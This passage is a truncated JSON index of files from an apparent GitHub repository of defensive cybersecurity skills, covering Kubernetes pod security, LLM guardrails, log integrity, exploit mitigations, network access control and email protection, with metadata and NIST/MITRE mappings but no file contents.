-->","isInternal":false,"tokens":747,"sizeBytes":3701},{"name":"SKILL.md","path":"skills/implementing-kubernetes-pod-security-standards/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-kubernetes-pod-security-standards/SKILL.md","title":"implementing-kubernetes-pod-security-standards","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-pod-security-standards%2FSKILL.md -->","frontmatter":{"name":"implementing-kubernetes-pod-security-standards","description":"Chooses and applies the correct Kubernetes Pod Security Standard (Privileged, Baseline, Restricted) for a workload: what each profile forbids, how to map existing workloads to a profile, which securityContext fields must change, and how to plan a PodSecurityPolicy-to-PSS migration without breaking running pods. Use when deciding which pod security profile a namespace or workload should run under, auditing which workloads would fail Restricted, planning a PSP migration, or mapping pod security posture to a compliance control. Keywords: Pod Security Standards, PSS, Privileged, Baseline, Restricted, securityContext, runAsNonRoot, drop ALL capabilities, seccomp RuntimeDefault, PSP migration. Do not use for configuring the admission controller that enforces these profiles - use implementing-pod-security-admission-controller.","domain":"cybersecurity","subdomain":"container-security","tags":["containers","kubernetes","security","pod-security","PSA"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525"]},"isInternal":false,"tokens":2133,"sizeBytes":9198},{"name":"api-reference.md","path":"skills/implementing-llm-guardrails-for-security/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-llm-guardrails-for-security/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-llm-guardrails-for-security%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1819,"sizeBytes":7186},{"name":"SKILL.md","path":"skills/implementing-llm-guardrails-for-security/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-llm-guardrails-for-security/SKILL.md","title":"implementing-llm-guardrails-for-security","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-llm-guardrails-for-security%2FSKILL.md -->","frontmatter":{"name":"implementing-llm-guardrails-for-security","description":"Implements input/output validation guardrails for LLM applications using NVIDIA NeMo Guardrails (Colang), custom Python validators for PII detection, and the Guardrails AI framework, intercepting user inputs (prompt injection, PII, off-topic queries) and model outputs (hallucinations, toxic content, schema compliance). Use when adding safety controls to an LLM app/chatbot/RAG pipeline or validating outputs conform to expected schemas.\n","domain":"cybersecurity","subdomain":"ai-security","tags":["LLM-guardrails","NeMo-Guardrails","input-validation","output-filtering","AI-safety"],"version":"1.0.0","author":"mukul975","license":"Apache-2.0","atlas_techniques":["AML.T0051","AML.T0054","AML.T0056","AML.T0057","AML.T0062"],"nist_ai_rmf":["GOVERN-1.1","GOVERN-6.1","MEASURE-2.7","MEASURE-2.5","MANAGE-2.4"],"d3fend_techniques":["Content Validation","Content Filtering","Content Excision","Application Hardening","Execution Isolation"],"nist_csf":["GV.OC-03","ID.RA-01","PR.PS-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059","T1055"]},"isInternal":false,"tokens":2029,"sizeBytes":8889},{"name":"api-reference.md","path":"skills/implementing-log-forwarding-with-fluentd/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-log-forwarding-with-fluentd/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-log-forwarding-with-fluentd%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":620,"sizeBytes":2243},{"name":"SKILL.md","path":"skills/implementing-log-forwarding-with-fluentd/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-log-forwarding-with-fluentd/SKILL.md","title":"implementing-log-forwarding-with-fluentd","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-log-forwarding-with-fluentd%2FSKILL.md -->","frontmatter":{"name":"implementing-log-forwarding-with-fluentd","description":"Configures Fluent Bit as an endpoint log forwarder and Fluentd as the central aggregator for centralized log collection, routing, filtering, and enrichment, covering input plugins for syslog/file-tailing/application logs and output routing to Elasticsearch, S3, and Splunk. Use when setting up centralized log aggregation across distributed infrastructure or generating Fluent Bit/Fluentd configuration files for a new log pipeline.","domain":"cybersecurity","subdomain":"security-operations","tags":["fluentd","fluent-bit","log-aggregation","log-forwarding","siem","centralized-logging","observability"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059","T1685.002","T1685.005"]},"isInternal":false,"tokens":626,"sizeBytes":2800},{"name":"api-reference.md","path":"skills/implementing-log-integrity-with-blockchain/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-log-integrity-with-blockchain/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-log-integrity-with-blockchain%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":395,"sizeBytes":1495},{"name":"SKILL.md","path":"skills/implementing-log-integrity-with-blockchain/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-log-integrity-with-blockchain/SKILL.md","title":"implementing-log-integrity-with-blockchain","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-log-integrity-with-blockchain%2FSKILL.md -->","frontmatter":{"name":"implementing-log-integrity-with-blockchain","description":"Builds an append-only log integrity chain using SHA-256 hash chaining, where each entry incorporates the previous entry's hash so tampering invalidates all subsequent hashes; covers log ingestion (syslog/JSON/plain text), chain verification, pinpoint tamper detection, and checkpoint anchoring to external timestamping services. Use for tamper-evident log storage for compliance or forensics, or to verify whether log entries were altered.","domain":"cybersecurity","subdomain":"security-operations","tags":["log-integrity","tamper-detection","hash-chaining","sha-256","audit-logging","security-operations"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059"]},"isInternal":false,"tokens":592,"sizeBytes":2443},{"name":"template.md","path":"skills/implementing-memory-protection-with-dep-aslr/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-memory-protection-with-dep-aslr/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-memory-protection-with-dep-aslr%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":164,"sizeBytes":553},{"name":"api-reference.md","path":"skills/implementing-memory-protection-with-dep-aslr/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-memory-protection-with-dep-aslr/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-memory-protection-with-dep-aslr%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":487,"sizeBytes":1863},{"name":"standards.md","path":"skills/implementing-memory-protection-with-dep-aslr/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-memory-protection-with-dep-aslr/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-memory-protection-with-dep-aslr%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":85,"sizeBytes":316},{"name":"workflows.md","path":"skills/implementing-memory-protection-with-dep-aslr/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-memory-protection-with-dep-aslr/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-memory-protection-with-dep-aslr%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":92,"sizeBytes":374},{"name":"SKILL.md","path":"skills/implementing-memory-protection-with-dep-aslr/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-memory-protection-with-dep-aslr/SKILL.md","title":"implementing-memory-protection-with-dep-aslr","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-memory-protection-with-dep-aslr%2FSKILL.md -->","frontmatter":{"name":"implementing-memory-protection-with-dep-aslr","description":"Implements memory protection mechanisms including DEP (Data Execution Prevention), ASLR (Address Space Layout Randomization), CFG (Control Flow Guard), and other exploit mitigations to prevent memory corruption attacks. Use when hardening endpoints against buffer overflow exploits, ROP chains, and code injection. Activates for requests involving memory protection, exploit mitigation, DEP, ASLR, or CFG configuration.\n","domain":"cybersecurity","subdomain":"endpoint-security","tags":["endpoint","memory-protection","DEP","ASLR","exploit-mitigation","CFG"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.PS-02","DE.CM-01","PR.IR-01"],"mitre_attack":["T1055","T1547","T1059","T1036","T1190"]},"isInternal":false,"tokens":994,"sizeBytes":4044},{"name":"api-reference.md","path":"skills/implementing-microsegmentation-with-guardicore/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-microsegmentation-with-guardicore/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-microsegmentation-with-guardicore%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":445,"sizeBytes":1687},{"name":"SKILL.md","path":"skills/implementing-microsegmentation-with-guardicore/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-microsegmentation-with-guardicore/SKILL.md","title":"implementing-microsegmentation-with-guardicore","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-microsegmentation-with-guardicore%2FSKILL.md -->","frontmatter":{"name":"implementing-microsegmentation-with-guardicore","description":"Implements microsegmentation with Akamai Guardicore Segmentation to map application dependencies, visualize east-west traffic flows, and create granular, least-privilege network policies across VMs, containers, bare metal, and cloud. Use when blocking lateral movement in a data center or when PCI DSS/HIPAA compliance requires validated network segmentation.\n","domain":"cybersecurity","subdomain":"zero-trust-architecture","tags":["microsegmentation","guardicore","akamai","zero-trust","east-west-traffic","network-segmentation","lateral-movement"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-05","PR.IR-01","GV.PO-01"],"mitre_attack":["T1078","T1190","T1059","T1021","T1550"]},"isInternal":false,"tokens":3204,"sizeBytes":12443},{"name":"template.md","path":"skills/implementing-mimecast-targeted-attack-protection/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-mimecast-targeted-attack-protection/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mimecast-targeted-attack-protection%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":340,"sizeBytes":1300},{"name":"api-reference.md","path":"skills/implementing-mimecast-targeted-attack-protection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-mimecast-targeted-attack-protection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mimecast-targeted-attack-protection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":329,"sizeBytes":1385},{"name":"standards.md","path":"skills/implementing-mimecast-targeted-attack-protection/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-mimecast-targeted-attack-protection/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mimecast-targeted-attack-protection%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":434,"sizeBytes":1730},{"name":"workflows.md","path":"skills/implementing-mimecast-targeted-attack-protection/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-mimecast-targeted-attack-protection/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mimecast-targeted-attack-protection%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":606,"sizeBytes":2277},{"name":"SKILL.md","path":"skills/implementing-mimecast-targeted-attack-protection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-mimecast-targeted-attack-protection/SKILL.md","title":"implementing-mimecast-targeted-attack-protection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mimecast-targeted-attack-protection%2FSKILL.md -->","frontmatter":{"name":"implementing-mimecast-targeted-attack-protection","description":"Deploys and configures Mimecast Targeted Threat Protection (TTP) modules -- URL Protect (click-time URL rewriting/analysis), Attachment Protect (sandbox detonation), Impersonation Protect (BEC/whaling detection), and Internal Email Protect -- for Microsoft 365 or Google Workspace. Use when defending against phishing, spearphishing, or business email compromise, or configuring TTP policies in the Mimecast Administration Console.","domain":"cybersecurity","subdomain":"phishing-defense","tags":["mimecast","email-security","targeted-threat-protection","url-protect","impersonation","attachment-sandboxing","phishing"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AT-01","DE.CM-09","RS.CO-02","DE.AE-02"],"mitre_attack":["T1566","T1598","T1534","T1036"],"mitre_f3":{"version":"1.1","tactics":["initial-access","reconnaissance","stealth","resource-development"],"techniques":[{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"T1672","name":"Email Spoofing","tactic":"stealth","source":"attack"},{"id":"F1032","name":"Impersonate Official","tactic":"initial-access","source":"f3"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"}]}},"isInternal":false,"tokens":1552,"sizeBytes":7112},{"name":"template.md","path":"skills/implementing-mitre-attack-coverage-mapping/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-mitre-attack-coverage-mapping/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mitre-attack-coverage-mapping%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":274,"sizeBytes":989},{"name":"api-reference.md","path":"skills/implementing-mitre-attack-coverage-mapping/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-mitre-attack-coverage-mapping/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mitre-attack-coverage-mapping%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":418,"sizeBytes":1446},{"name":"standards.md","path":"skills/implementing-mitre-attack-coverage-mapping/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-mitre-attack-coverage-mapping/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mitre-attack-coverage-mapping%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":325,"sizeBytes":1164},{"name":"workflows.md","path":"skills/implementing-mitre-attack-coverage-mapping/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-mitre-attack-coverage-mapping/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mitre-attack-coverage-mapping%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":310,"sizeBytes":977},{"name":"SKILL.md","path":"skills/implementing-mitre-attack-coverage-mapping/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-mitre-attack-coverage-mapping/SKILL.md","title":"implementing-mitre-attack-coverage-mapping","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mitre-attack-coverage-mapping%2FSKILL.md -->","frontmatter":{"name":"implementing-mitre-attack-coverage-mapping","description":"Implement MITRE ATT&CK coverage mapping to identify detection gaps, prioritize rule development, and measure SOC detection maturity against adversary techniques.","domain":"cybersecurity","subdomain":"soc-operations","tags":["mitre-attack","detection-coverage","gap-analysis","attack-navigator","soc","detection-engineering"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"d3fend_techniques":["Token Binding","Restore Access","Application Protocol Command Analysis","Password Authentication","Reissue Credential"],"nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1078","T1685.002","T1685.005","T1566"]},"isInternal":false,"tokens":2475,"sizeBytes":9221},{"name":"template.md","path":"skills/implementing-mobile-application-management/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-mobile-application-management/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mobile-application-management%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":178,"sizeBytes":628},{"name":"api-reference.md","path":"skills/implementing-mobile-application-management/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-mobile-application-management/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mobile-application-management%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":316,"sizeBytes":1310},{"name":"standards.md","path":"skills/implementing-mobile-application-management/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-mobile-application-management/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mobile-application-management%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":187,"sizeBytes":758},{"name":"workflows.md","path":"skills/implementing-mobile-application-management/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-mobile-application-management/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mobile-application-management%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":93,"sizeBytes":808},{"name":"SKILL.md","path":"skills/implementing-mobile-application-management/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-mobile-application-management/SKILL.md","title":"implementing-mobile-application-management","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mobile-application-management%2FSKILL.md -->","frontmatter":{"name":"implementing-mobile-application-management","description":"Implements Mobile Application Management (MAM) policies to protect enterprise data on managed and unmanaged mobile devices through app-level controls including data loss prevention, selective wipe, app configuration, and containerization. Use when securing corporate apps on BYOD devices, implementing Intune App Protection Policies, or enforcing data separation between personal and work apps. Activates for requests involving MAM deployment, app protection policies, mobile containerization, or BYOD security.\n","domain":"cybersecurity","subdomain":"mobile-security","author":"mahipal","tags":["mobile-security","android","ios","mam","enterprise-security","owasp-mobile"],"version":"1.0.0","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.AA-05","ID.RA-01","DE.CM-09"],"mitre_attack":["T1059","T1056","T1036","T1078","T1610"]},"isInternal":false,"tokens":1500,"sizeBytes":6671},{"name":"api-reference.md","path":"skills/implementing-mtls-for-zero-trust-services/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-mtls-for-zero-trust-services/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mtls-for-zero-trust-services%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":471,"sizeBytes":2033},{"name":"SKILL.md","path":"skills/implementing-mtls-for-zero-trust-services/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-mtls-for-zero-trust-services/SKILL.md","title":"implementing-mtls-for-zero-trust-services","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mtls-for-zero-trust-services%2FSKILL.md -->","frontmatter":{"name":"implementing-mtls-for-zero-trust-services","description":"Configures mutual TLS (mTLS) authentication between microservices using Python cryptography library for certificate generation and ssl module for TLS verification. Validates certificate chains, checks expiration, and audits mTLS deployment status. Use when implementing zero-trust service-to-service authentication.\n","domain":"cybersecurity","subdomain":"security-operations","tags":["mtls","zero-trust","mutual-tls","service-authentication","certificate-management","microservices-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059","T1553","T1573"]},"isInternal":false,"tokens":589,"sizeBytes":2598},{"name":"api-reference.md","path":"skills/implementing-nerc-cip-compliance-controls/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-nerc-cip-compliance-controls/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-nerc-cip-compliance-controls%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":377,"sizeBytes":1534},{"name":"SKILL.md","path":"skills/implementing-nerc-cip-compliance-controls/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-nerc-cip-compliance-controls/SKILL.md","title":"implementing-nerc-cip-compliance-controls","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-nerc-cip-compliance-controls%2FSKILL.md -->","frontmatter":{"name":"implementing-nerc-cip-compliance-controls","description":"Implements NERC CIP controls for Bulk Electric System (BES) cyber systems: asset categorization (CIP-002), electronic security perimeters (CIP-005), system security management (CIP-007), configuration management (CIP-010), and supply chain risk (CIP-013), including 2025 MFA updates. Use when a registered entity must achieve or maintain NERC CIP compliance, prepare for a Regional Entity audit, or categorize newly commissioned BES cyber systems.\n","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","scada","industrial-control","iec62443","nerc-cip","power-grid","compliance"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T1195","T1554"]},"isInternal":false,"tokens":4060,"sizeBytes":17161},{"name":"api-reference.md","path":"skills/implementing-network-access-control-with-cisco-ise/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-access-control-with-cisco-ise/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-access-control-with-cisco-ise%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":370,"sizeBytes":1603},{"name":"SKILL.md","path":"skills/implementing-network-access-control-with-cisco-ise/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-access-control-with-cisco-ise/SKILL.md","title":"implementing-network-access-control-with-cisco-ise","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-access-control-with-cisco-ise%2FSKILL.md -->","frontmatter":{"name":"implementing-network-access-control-with-cisco-ise","description":"Deploys Cisco Identity Services Engine (ISE) as a RADIUS policy server for 802.1X wired and wireless authentication, MAC Authentication Bypass, posture assessment, dynamic VLAN assignment, downloadable ACLs, and TrustSec Security Group Tags. Use when deploying enterprise NAC with ISE and Active Directory integration, enforcing endpoint posture compliance, or segmenting access with TrustSec instead of a generic 802.1X/PacketFence setup.","domain":"cybersecurity","subdomain":"network-security","tags":["cisco-ise","802.1x","nac","radius","network-access-control","posture-assessment","mab","dynamic-vlan","eap-tls"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1027"]},"isInternal":false,"tokens":2965,"sizeBytes":11609},{"name":"api-reference.md","path":"skills/implementing-network-access-control/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-access-control/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-access-control%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":665,"sizeBytes":2068},{"name":"SKILL.md","path":"skills/implementing-network-access-control/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-access-control/SKILL.md","title":"implementing-network-access-control","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-access-control%2FSKILL.md -->","frontmatter":{"name":"implementing-network-access-control","description":"Implements 802.1X port-based network access control using RADIUS authentication, PacketFence NAC, and switch configuration to enforce identity-based access policies, posture assessment, and automatic VLAN assignment for authorized devices. Use when enforcing zero-trust access at the network edge, quarantining non-compliant endpoints, meeting PCI-DSS/HIPAA/SOC 2 access requirements, or onboarding BYOD devices with automated provisioning.\n","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","nac","802.1x","radius","packetfence"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071"]},"isInternal":false,"tokens":3878,"sizeBytes":15080},{"name":"api-reference.md","path":"skills/implementing-network-deception-with-honeypots/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-network-deception-with-honeypots/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-deception-with-honeypots%2Freferences%2Fapi-reference.md 